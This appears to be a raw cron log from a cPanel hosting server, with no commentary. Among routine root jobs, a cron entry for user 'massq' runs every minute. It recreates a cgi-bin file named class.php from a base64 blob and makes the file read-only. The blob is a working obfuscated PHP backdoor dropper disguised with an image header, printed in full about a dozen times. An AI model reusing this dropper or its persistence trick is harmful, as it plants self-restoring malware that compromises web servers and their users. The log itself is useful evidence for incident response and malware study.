Sep  7 13:32:01 server CROND[25553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:32:01 server CROND[25554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:33:01 server CROND[25941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:33:01 server CROND[25942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:33:01 server CROND[25943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:34:01 server CROND[26343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:34:01 server CROND[26344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:34:01 server CROND[26345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:35:01 server CROND[26756]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:35:01 server CROND[26758]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 13:35:01 server CROND[26761]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 13:35:01 server CROND[26762]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:35:01 server CROND[26760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:35:01 server CROND[26763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:35:01 server CROND[26766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:35:01 server CROND[26768]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 13:35:01 server CROND[26765]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 13:36:01 server CROND[27701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:36:01 server CROND[27702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:36:01 server CROND[27703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:37:01 server CROND[28179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:37:01 server CROND[28180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:37:01 server CROND[28181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:38:01 server CROND[28563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:38:01 server CROND[28564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:38:01 server CROND[28566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:39:01 server CROND[28969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:39:01 server CROND[28967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:39:01 server CROND[28970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:39:01 server CROND[28968]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 13:40:01 server CROND[29371]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:40:01 server CROND[29373]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 13:40:01 server CROND[29374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:40:01 server CROND[29376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:40:01 server CROND[29375]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:40:01 server CROND[29377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:40:01 server CROND[29378]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 13:40:01 server CROND[29379]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 13:41:01 server CROND[30272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:41:01 server CROND[30273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:41:01 server CROND[30274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:42:01 server CROND[30755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:42:01 server CROND[30756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:42:01 server CROND[30757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:42:01 server CROND[30758]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 13:43:02 server CROND[31143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:43:02 server CROND[31144]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:43:02 server CROND[31145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:44:01 server CROND[31526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:44:01 server CROND[31527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
